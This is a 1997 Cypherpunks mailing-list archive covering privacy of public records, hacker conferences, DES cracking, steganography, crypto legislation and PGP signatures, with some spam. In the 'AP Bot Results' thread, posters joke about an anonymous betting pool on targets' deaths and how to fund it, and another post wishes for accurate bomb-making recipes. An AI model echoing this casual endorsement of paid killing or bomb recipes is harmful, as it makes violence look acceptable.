06/23/97 
   at 06:51 PM, Ray Arachelian  said:

>On Fri, 13 Jun 1997 tzeruch at ceddec.com wrote:

>> 
>> If the state issues me a permit, they probably have a right to the
>> information pertaining to the permit, e.g. they do need the make, model,
>> year, and similar information about the car to issue a title or
>> registration.  If they are issuing state ID, they need to know that I am
>> me in order to issue it.  They don't need to place my mother's maiden name
>> into the record although I think it appears on my birth certificate, and
>> would cause problems since this is used as an informal password.  My
>> driver's license is a permit to drive, not a permit to be me.  You can
>> make a case for the database containing my age, but date of birth?  Much
>> of what appears is not necessary for the purpose stated. 
>> 
>> So are you making the case for having the state ask every detail about
>> your life and being able to place it in the licensing database, or only
>> answers to those questions relevant to issuing the license?

>I'm making the case that information I share with (for example) the DMV
>should not be viewable by those OUTSIDE of the DMV and NYPD without my
>consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
>permission to have the DMV release the info; but some folks have taken
>this to other weird tangents, such as polarizing one's point of view into
>either libertarian or stasist.  I hold neither.  And I've given up on the
>cluelessness of the same folks, so the topic I've dropped. :) 

Only one here being clueless is you Ray.

The state is not allowed to engage in secret activities with select
members of society. Whenever it issues a permit or a license to someone it
is public knowledge. Whenever someone is arrested, whenever there is a
trial both great and small the full details are public information.

All actions of the state *must* be reviewable by the citizens. You can not
have a free and open society without the people being able to check on
what it's government is doing.

This means that all of the following *must* be open to the public:

DMV Records
Criminal Records
Voter Registrations
Census Records
Building Permits
Profesional Licenses
Court Transcripts
Federal Records
State Records
County Records
City Records
ect, ect, ect.

The problem here is *NOT* that this information is public. The problem is
that the goverment has got it's fat little fingers into everything. The
solution is *NOT* letting the state hide what it is doing with these so
called privacy laws but to get the state out of where it has no business
being in the first place!!!

And this has nothing to do with GAK or any other 1984ish monitoring of
citizens. The issue here is bringing the activities of the state into the
light of day. The activities of the citizens that do not directly involve
the state are not at issue here.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM689eY9Co1n+aLhhAQFAKQP/ZzTP16dZaSSH2NIS2jj6HyNxvu2xZjfH
nxT70qouw2RXOjjupLCcsWA1E44uHNEhyh3GFv11eBb0AnE869h1YBwUAnUpk4yN
r7Xr1y8NIWjckowQQ6Dnq4GlMVUSM9BTwUvBGaaE/TdM/LDZcJLXR9U/3G5h9gsF
iAE9w+8FekQ=
=k3eZ
-----END PGP SIGNATURE-----






From shamrock at netcom.com  Mon Jun 23 20:28:22 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 24 Jun 1997 11:28:22 +0800
Subject: Who is going to HIP'97?
Message-ID: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>



Who on this list intends to go to HIP'97? http://www.hip97.nl
I would like to organize a C*punks meeting there.

Thanks,
--Lucky
--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From adam at homeport.org  Mon Jun 23 20:56:16 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 24 Jun 1997 11:56:16 +0800
Subject: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <199706240346.XAA21269@homeport.org>



Lucky Green wrote:
| Who on this list intends to go to HIP'97? http://www.hip97.nl
| I would like to organize a C*punks meeting there.

I'm going to go to Beyond Hope instead.  (www.2600.com)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From shamrock at netcom.com  Mon Jun 23 21:00:19 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 24 Jun 1997 12:00:19 +0800
Subject: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970623205518.03982440@netcom9.netcom.com>



At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
>Lucky Green wrote:
>| Who on this list intends to go to HIP'97? http://www.hip97.nl
>| I would like to organize a C*punks meeting there.
>
>I'm going to go to Beyond Hope instead.  (www.2600.com)

Which will have live links with HIP. MBONE meeting, anyone?


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From grafolog at netcom.com  Mon Jun 23 21:12:12 1997
From: grafolog at netcom.com (jonathon)
Date: Tue, 24 Jun 1997 12:12:12 +0800
Subject: How did these people find our list?
In-Reply-To: 
Message-ID: 



On Mon, 23 Jun 1997, Tim May wrote:

> there has been no credible threat of attack or invasion of the states in
> America in at least 170 years, what you were largely agreeing to protect

	Pearl Harbour.

	The State of Oregon << The only state to have been bombed by
	a foreign country.  >>  during World War Two.

          xan

          jonathon
          grafolog at netcom.com


	Monolingualism is a curable disease

	Allichu         Yusulpayki      Ari     Manan  Allin    Maypin...?
	olu olu	        mahalo		ae      a o le	po no	ho omaopo po?
	S'il vous plait	Merci		Oui	Non	Bon	Ou est...?
	Proht		Khop khun	Dja	Plaau	Sabai dii   Treh nai...?
	Por favor	Gracias		Si	No	Bueno	?Donde esta...?	
 	Bitte		Danke		Ja	Nein	Gut	Wo ist...?
	Faca favor	Obrigado 	Sim	Nao	Bom	Onde...?
	Per piacere	Grazie		Si	No	Buono	Dov'e...?
	Var vanlig	Tack		Ja	Nej	God	Var...?
	Ole hyva        Kiitos  	Kylla   Ei      Hyva    Missa ...?
	Silakan 	Terima Kasih	Ja	Tidak	Bagas	Dimana...?
	Merher-bani	Danyavad	Han	Nahin?	Bahut   Kahan...?
	Seh merher-bani	Shukria		Han	Nahin?	Bahut	Kahan...?
	Dozo		Arigato		Hai	Iye	Yoi    ...doko desu-kai?
	Ching		Doh shieh	Shih	Boo shih  Hao   ...ts'ai na li?
	Xin ong		Cam on ong	Vang	Khong	Tot lam  O dau?
	Var venlig	Takk		Ja	Nej	God	Hvor...?
	Asablief	Baie Danke	Ja 	Nee	Goed	Waar is..?
        Alstublieft     Dank U  	Ja      Nee     Goed    Waar...? 
	Vennlist	Takk		Ja	Nei	God	Hvor...?
	Parakalo	Efharisto	Neh	Ohi	Kala	Poo ine...?
	Bevakashah	Todah rabah	Ken	Lo	Tov	Efoh...?
	Lutfen		Tesekkur	Evet	Yok	Iyi	Nereye...?
	Molim		Hvala		Da	Ne	Dobro	Gdje...?
	Tafadhali	Asanti		N dio	La	Nzuri	Wapi...?
	Pazahal'sta	Spasiba		Da	N'yet	Harasho  Gd'yeh...?
	Prosze		Dziekuje	Tak	Nie	Dobrze	 Gdzie...?
	Herem		Koszonom	Igen	Nem	Jol	Hol...?
	Va rog		Multumesc	Da	Nu	Bine	Unde...?
	Min faadlak	Shukran		Naam	La	Mlih	Wen...?
	Min faadlik << feminine form >>
	...jusipsyo	Komapsumnida	Ne	Aniyo	Tadaghi chosumnida
								Oti...?
	






From announce at lists.zdnet.com  Mon Jun 23 21:21:09 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Tue, 24 Jun 1997 12:21:09 +0800
Subject: ZDU Summer Registration is Now Open!
Message-ID: 



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/24/97
-----------------------------------------------------------------
Registration is now open for summer classes at ZDU:

http://www.zdu.com

ZDNet University--the most affordable and convenient source of 
computing education on the Web--kicks into high-gear this summer
with a brand new line-up of online courses covering some of the 
hottest topics in technology today.

For only $4.95 a month, take as many computing classes as you want,
when you want. Whether you're at the beach, at home, or at the 
office, ZDU's comprehensive curriculum offers you the opportunity
to learn new computing skills, earn Continuing Education Units 
CEUs), and beef-up your resume -- all at your convenience.

===== Sign up Now!  Classes Fill Quickly =====

These are some of the ZDU courses you can register for today:

*     Java for Programmers
*     Advanced JavaScript
*     ActiveX for Programmers
*     C++ Programming
*     Build Your Own PC
*     Visual Basic
*     Intro to HTML
*     Dynamic HTML
*     Intro and Advanced Web Site Design
*     Adobe Photoshop 4.0
*     And many more!  

New classes are added all the time. You can view the complete ZDU
Course Catalog at:

http://www.zdu.com/zdu/catalog/open.htm.

==== Stay Tuned for New Features and Site Enhancements ====

Also coming this summer: Special offers  for ZDU students, online 
chats, extracurricular clubs, and more. For more information about 
ZDU, get online and tour the ZDU campus or check out a sample 
class.  Then register for  the best value in continuing education 
today -- ZDNet University!

http://www.zdu.com

_______________________________________________________________

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
announce-on at lists.zdnet.com
You can leave the subject and body blank.

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off at lists.zdnet.com
You can leave the subject and body blank.
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com
===============================================================






From tcmay at got.net  Mon Jun 23 21:49:19 1997
From: tcmay at got.net (Tim May)
Date: Tue, 24 Jun 1997 12:49:19 +0800
Subject: How did these people find our list?
In-Reply-To: 
Message-ID: 



At 9:05 PM -0700 6/23/97, jonathon wrote:
>On Mon, 23 Jun 1997, Tim May wrote:
>
>> there has been no credible threat of attack or invasion of the states in
>> America in at least 170 years, what you were largely agreeing to protect
>
>	Pearl Harbour.

I said _states_. Hawaii became a state in 1959-60.


>	The State of Oregon << The only state to have been bombed by
>	a foreign country.  >>  during World War Two.

Balloons carrying incendiaries.

Likewise, where I once lived, Goleta, CA, was shelled by a Japanese sub.

In any case, these latter incidents occurred _after_ the start of the war.
Hardly an example of a U.S. state being attacked.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tomw at netscape.com  Mon Jun 23 22:02:51 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Tue, 24 Jun 1997 13:02:51 +0800
Subject: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <33AF4D42.D971824@netscape.com>



Lucky Green wrote:
> 
> At 06:15 PM 6/23/97 -0700, Mike Duvos wrote:
>> Really.  It appears that the DESCHALL frivolities actually
>> enhanced the reputation of DES, fluffy press releases by C2 and
>> Security Dynamics notwithstanding.
> 
> Which is why I opposed a distributed crack ever since the crack was
> first proposed. But once the crack got underway, the only thing to do
> was to participate and hope it wouldn't take all that long. Stressing
> the individual that found the key over the group effort was the best
> thing that could be done in an already bad situation. Spin control is
> a fact of life.

IMHO, it would have been better to emphasize the group effort, and that
they could continue to crack keys at a rate of one every 30 days even
if the computing base didn't continue to grow.  Not to mention that they
could also be cracking 40-bit keys at a rate of about 2000 a day.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From randerso at ece.eng.wayne.edu  Mon Jun 23 22:49:38 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Tue, 24 Jun 1997 13:49:38 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>
Message-ID: 



On Mon, 23 Jun 1997, Lee Gibbon wrote:

> Assuming a government like ours, the problem I see with "eliminating 90%
> of the sitting legislature" is the question of who really rules?  I
> favor term limits - only one term per position.  I don't like the idea
> of professional politicians.  But, where would the power reside?  The
> bureaucracy and the political parties?  -Sounds dangerous to me. 

Well, with one term per position, you have a problem with turnover being a
bit too high to give any consistency in government policy, and you (I
believe) would end up with the bureaucracy of assistants running the show
overall, with only minor adjustments for the current Reps.  Term limits of
some sort aren't a bad idea, though I do like the thought of punishment
for passing too many unconstitutional laws.  The proposed method has a few
problems in it that no one has suggested how to reconcile.  I'm at a loss
for a solution right now, I'm kinda hoping someone else will find one.

We've got a relatively decent style of government here.  I can see some
advantages in some aspects of parliamentary rule (actually, the tendency
of such systems to have more political parties is better, but adapting
that to us is more complicated.. Basically, Congressional districts would
have to die, and be replaced with everyone in the state voting for X/2
reps, where X is the number the state gets as a hole (This might not work 
well, but some method of voting for all the reps as a state, and taking
the best.. probably different math, but..). With this you'd have some more
smaller party candidates winning, and parties would stay a little more
focused.  (You'd actually have a libertarian influence obvious in
Congress, with the other traditionals, etc..)

This is the only alteration to our current form that I can see making
sense.  A President who claims to come from one of a few large world-views
is not a horrible thing, he/she tends to set a general policy, and it goes
from there.  The Congress gets to do all the real fighting, and there you
have lots of compromises among different groups.  Then again, this is
where the Consitutionality/penalty problems arise, but it's almost a
different issue..

Any thoughts anyone?

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From stewarts at ix.netcom.com  Mon Jun 23 23:51:39 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 24 Jun 1997 14:51:39 +0800
Subject: Sources for stego images, was re: Laying PipeNet
In-Reply-To: 
Message-ID: <3.0.2.32.19970623233825.03113e3c@popd.ix.netcom.com>



>> >That's the major problem with images, you need to generate your own.
>> >Unless you fancy writing an image enhancement system, and analyse the
>> >algorithms in existing systems to ensure that randomness is
>> >introduced.
..
>Or, set up your own webcam "to watch your coffee pot twice a minute" or
>something. Merge the crypto stream through the gifs after tweaking the
>brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
>of 254/255 values gets suspicious, and is not from thermal noise - a
>"problem" with monochrome quickcams for night photography).

Pictures like coffee pots are likely to have parts that change
(e.g. the state of the coffee pot) and parts that don't change 
(e.g. the part of the wall that isn't blocked by the pot.)
This means that it's easy to tell which bits are being messed with,
if somebody's watching successive pictures.  If the digitization's
random enough in the low bits, it's a bit better, but a picture of
something moving helps.  Oceans and fog are great....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Tue Jun 24 00:01:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 24 Jun 1997 15:01:06 +0800
Subject: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>



At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
...
>Leading eCa$h candidates for dying at an opportune time to make some
>perennial loser "Dead Lucky" are:
...[targets deleted, with prices from $514 to 2,610.02 ]

>Leading Contributors/Bettors:
>The James Gang
>The Dalton Gang
>The Bell Gang
>William Geiger III

You've done an inadequate job of implementing your protocol,
endangering your customers far more than your targets.
[And your customers are _cheapskates_ as well :-) ]

A proper bot would accept contributions from
Public Key 0x23DEADBEEF9999999
Public Key 0x45BEEFDEAD9854355
and similar one-use identities.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From geeman at best.com  Tue Jun 24 00:10:41 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 24 Jun 1997 15:10:41 +0800
Subject: McCain Talks Crypto
Message-ID: <3.0.32.19691231160000.006bf1e0@best.com>



At 01:23 AM 6/23/97 -0700, Bill Stewart wrote:
I still think that there is a huge power behind the effort - and that is
based in
dollars.  The child-porn/national security issues just make it
understandable for the
CNN digest of reality, and the clueless among the Government. 

Appealing to those arguments with compelling counterarguments in the same
terms
will effect results, perhaps, but only if big dollar$ are behind it.

Money will change the course of events here, and I doubt anything else will.

>
>Sigh.  Make the laws and then work out the details -- I don't think so :-)
>
>However, if his real concern IS national security, then perhaps
>he can be reached - not only is our real national security based on
>the economy, but any vaguely competent foreign government or
>major terrorist organization has access to all the crypto they need:
>unlike fully assembled missiles and plutonium, which are hard to get and
>hard to smuggle across borders, crypto is easy to buy anywhere in the US,
>and the Enemies Of The State just have to take one copy out, by laptop,
>by floppy disk, by modem, or by satellite, and you've lost control.
>
>I assume he knows he's using the child pornography excuse as a 
>cynical play to the media - the obvious response is that 
>	McCain's Pro-Forgery Bill
>by making good crypto tools less available, and by making sure
>that people will choose to get their important digital certificates
>from multiple CAs and non-US-controlled CAs, or just go uncertified,
>will make it forgery more common and digital signatures less trusted.
>So  your kids are more likely to have fake IDs
>like we did to drink when we were younger and 
>that'll lead to more pornography on the net, imported from foreign
>countries that have lower standards than our fine American communities,
and...
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>






From geeman at best.com  Tue Jun 24 00:11:11 1997
From: geeman at best.com (geeman at best.com)
Date: Tue, 24 Jun 1997 15:11:11 +0800
Subject: The Global Fix is In
Message-ID: <3.0.32.19970623090316.006bf1e0@best.com>



Maybe I should have said lobbyist group masquerading as 'thinktank'
Like the American Security Council.

AND: grassroots is totally different - I agree that they would be a voice
in the wilderness -
and very ineffectual

How can you put them in the same category, "conservative thinktanks and
grassroots groups" as if they are even in the same universe?  Can any
grassroots org.
demonstrate the same track record in pushing legislation to go their way as
can the 
corporate-funded PAC/thinktanks?

Go back and look at the PAC list for McCain, and tell me how many that he
is aligned with are 
leading the opposition to administration proposals?

And then tell me that the thinktanks and the PACs are independent and
unrelated.  I don't think so.
The thinktanks are used by the PACs and funded by them, indirectly at least.

By the way, what does Rand Corp. have to say?



At 10:16 PM 6/22/97 -0400, Declan McCullagh wrote:
>Without taking a position on the rest of the following post, I should say
>that it's the conservative thinktanks and grassroots groups that are
>leading the opposition to all administration proposals and are taking a
>crypto-absolutist stance. 
>
>-Declan
>
>Sure, libertarian groups are just as good or better, but there are fewer
>of them. (Cato -still- hasn't come out with their crypto policy analysis
>even after they've been working on it for half a year. At least their
>privacy paper should be coming out soon. And CEI doesn't have the staff to
>devote someone to this issue.) They've done a few conferences and such,
>but they're limited by numbers. 
>
>
>
>On Sun, 22 Jun 1997 geeman at best.com wrote:
>
>> massive investments being made by Industry in the conservative thinktanks
>> who produce the
>> intellectual fodder-de-jour that supports the position of this elite, and
>> overwhelm the
>> likes of McCain and Kerrey with
>> impossible-for-the-legislature-to-understand managed 
>
>
>






From Danielle-Cindy at emirates.net.ae  Tue Jun 24 15:13:45 1997
From: Danielle-Cindy at emirates.net.ae (Danielle-Cindy at emirates.net.ae)
Date: Tue, 24 Jun 1997 15:13:45 -0700 (PDT)
Subject: Adults Only!
Message-ID: <18725478612534@gateway.24hrplaymates.com>


Looking for the hottest adult action on the web?

The Newly Renovated 4XXXX FREE HardCore is the place to go

For The Hottest Pictures and Services, Plus . . .

Links and Reviews of the hottestest sites on the Net.

--CLICK HERE! 

For Instant Access to the finest in HardCore Adult Entertainment!






From whgiii at amaranth.com  Tue Jun 24 00:31:43 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 24 Jun 1997 15:31:43 +0800
Subject: AP Bot Results
In-Reply-To: <3.0.2.32.19970623234433.031133c8@popd.ix.netcom.com>
Message-ID: <199706240714.CAA04526@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970623234433.031133c8 at popd.ix.netcom.com>, on 06/23/97 
   at 11:44 PM, Bill Stewart  said:

>At or before 09:44 AM 6/23/97 -0400, some provocateur wrote: ...
>>Leading eCa$h candidates for dying at an opportune time to make some
>>perennial loser "Dead Lucky" are:
>...[targets deleted, with prices from $514 to 2,610.02 ]

>>Leading Contributors/Bettors:
>>The James Gang
>>The Dalton Gang
>>The Bell Gang
>>William Geiger III

>You've done an inadequate job of implementing your protocol, endangering
>your customers far more than your targets.
>[And your customers are _cheapskates_ as well :-) ]

well, well, well...

Not that I have a problem being associated with an AP betting pool I do
take exception to being called cheap!! :)

If I had been involved in such an operation their are two thing that you
can be sure of:

1. I would have picked better targets
2. I would have supplied sufficient funds to get the job done.

BTW who the hell is Cindy Brown??

>A proper bot would accept contributions from
>Public Key 0x23DEADBEEF9999999
>Public Key 0x45BEEFDEAD9854355
>and similar one-use identities.

As far as the contributors no id is necessary all that is needed is the
e$cash

Anonymous bank account #'s for where the funds should be deposited should
be sufficient for the payoff.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6905I9Co1n+aLhhAQF3PwQAh9w/AFLRR04aekFNMOavCDX8GvxEpfFU
fCPvve9MVmvyVfmCuVbmPbCtte0tKPdkg677E2QGwf1yBZs9sGWVhCipiIiL+APu
MpnRxMNX+BuK+Tyq5DIiw5w2UdkwvoDwEl01fqvFCuoIQDsP7M3Y1gc8xHoEcSRe
SPU9wN+j0Gk=
=plkX
-----END PGP SIGNATURE-----






From hvdl at sequent.com  Tue Jun 24 00:49:48 1997
From: hvdl at sequent.com (Unicorn)
Date: Tue, 24 Jun 1997 15:49:48 +0800
Subject: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <19970624093626.28356@amsqnt.nl.sequent.com>

On Jun 23, Lucky Green  apparently wrote:
> At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
> >Lucky Green wrote:
> >| Who on this list intends to go to HIP'97? http://www.hip97.nl
> >| I would like to organize a C*punks meeting there.
> >
> >I'm going to go to Beyond Hope instead.  (www.2600.com)
> 
> Which will have live links with HIP. MBONE meeting, anyone?

There will  be links between HIP  and Beyond HOPE. Both  video and sound
(even GSM if the  patched phones will work in the US :-).  And I am sure
there will  be other cypherpunks  attending HIP  (I for one  will attend
HIP).

> --Lucky Green 

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| Hans "Unicorn" Van de Looy     PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;   GSM: +31 653 261 368                52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========


-------------- next part --------------
A non-text attachment was scrubbed...
Name: pgp00001.pgp
Type: application/octet-stream
Size: 462 bytes
Desc: "PGP signature"
URL: 

From mark at unicorn.com  Tue Jun 24 02:20:51 1997
From: mark at unicorn.com (Mark Grant)
Date: Tue, 24 Jun 1997 17:20:51 +0800
Subject: New PGP signatures (fwd)
Message-ID: 




On Mon, 23 Jun 1997, William H. Geiger III wrote:

> You really need to modify your mail-processing code as you are going to
> see more and more of these. You should also start work on implementing the
> PGP/MIME RFC as you will be seeing more of these messages.

It's kind of hard to modify the code when I'm still waiting for the PGP
5.0 code to be made available. I can't do a lot until people finish
OCR-ing it. 
 
> Nothing personal but your code should not "break" on any data that is sent
> to it. PGP 2.6.x doen't have a problem with these signatures it just
> returns a error code and goes on it's way.

Precisely; it returns an error and drops out. It *does not* output the
signed message to stdout as it would do if it were an RSA-signed message,
so it just looks like an empty message. At the moment I have better things
to do, but I guess if people are going to use non-standard message formats
they don't want us to read what they write anyway.

	Mark








From paul at fatmans.demon.co.uk  Tue Jun 24 04:10:02 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 24 Jun 1997 19:10:02 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: 




> Why can't escrowed ecash support digital commerce?  Strong crypto with
> a government backdoor.  That's what you're offered.  Prove it can't work.


1. Government has copy of keys
2. Government misuses keys.

Simple enough for you?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Tue Jun 24 04:36:40 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 24 Jun 1997 19:36:40 +0800
Subject: Bomb-making instructions....
In-Reply-To: 
Message-ID: 




> It would be an interesting piece of sociology of speech, law and technology
> to do a serious, scholarly study of the public availability of existing
> bombmaking information on the Web.  Where does it come from?  How much was
> originally government information?  How accurate is it?  What kind of bombs
> can be built with the info?  Who puts it up?  Then compare what's on the
> Web to what's in university and public libraries.  This is the kind of
> study that may not be doable once the Amendment passes, for obvious reasons.

I personally know no chemistry at all, but what would be nice is if 
someone who knows what they are doing wrote an "anarchists cookbook" type 
set of files, but this time got them right so anyone attempting any of 
the recipes wouldn`t be killed.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Tue Jun 24 04:50:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 24 Jun 1997 19:50:38 +0800
Subject: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 




> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Supervision, plain and simple. However, if you honestly believe your 
children are going to be harmed in some lasting way by any images they 
might find there is clearly something wrong with the way you have brought 
them up, you will find most kids are uninterested by porn images anyway, 
violence is a different matter but if kids are brought up properly they 
would understand the difference between speech and act, and have respect 
for others and understanding of non-violence, there is no way to explain 
to congress-critters the difference between speech and act, it is above them.

> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

1. Liquor: Kids should be taught to drink responsibly from an early age, 
then when they are old enough to legally drink they will not just go out 
and drink themselves to death.

2. Guns: Again, I think kids should be taught to shoot safely and 
responsibly, just as I was when I was a kid. Sure, you don`t want your 
child carrying a gun around unsupervised at too young an age, but how many 
11yr olds do you know that have the money to go buy a .38???

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From dformosa at st.nepean.uws.edu.au  Tue Jun 24 05:20:39 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 24 Jun 1997 20:20:39 +0800
Subject: spam on this list
In-Reply-To: <199706231604.JAA14744@adnetsol.adnetsol.com>
Message-ID: 



On Mon, 23 Jun 1997, Ross Wright wrote:

[...]

> Spam is free speech...

AOL vs Cyberpromo has a totaly diffrent option on this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From ravage at ssz.com  Tue Jun 24 05:21:25 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 24 Jun 1997 20:21:25 +0800
Subject: How did these people find our list? (fwd)
Message-ID: <199706241153.GAA25486@einstein.ssz.com>



Forwarded message:

> Date: Tue, 24 Jun 1997 04:05:42 +0000 (GMT)
> From: jonathon 
> Subject: Re: How did these people find our list?

> 	The State of Oregon << The only state to have been bombed by
> 	a foreign country.  >>  during World War Two.

Brrrrppppp. Thank you for playing. Your consolation prize is a big whoopie
cushion.

Alaska was not only bombed by a foreign country (ie Japan) but it was the
only continental US location to actualy be invaded. Do a search on Kiska and
Dutch Harbor on Yahoo....

Hawaii was also bombed and last time I checked it was part of the US, the
same goes for Wake Is., Midway Is., and Phillipines.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cmcurtin at research.megasoft.com  Tue Jun 24 06:33:09 1997
From: cmcurtin at research.megasoft.com (C Matthew Curtin)
Date: Tue, 24 Jun 1997 21:33:09 +0800
Subject: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706241313.JAA00037@goffette.research.megasoft.com>



>>>>> "Rick" == Rick Smith  writes:

>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."

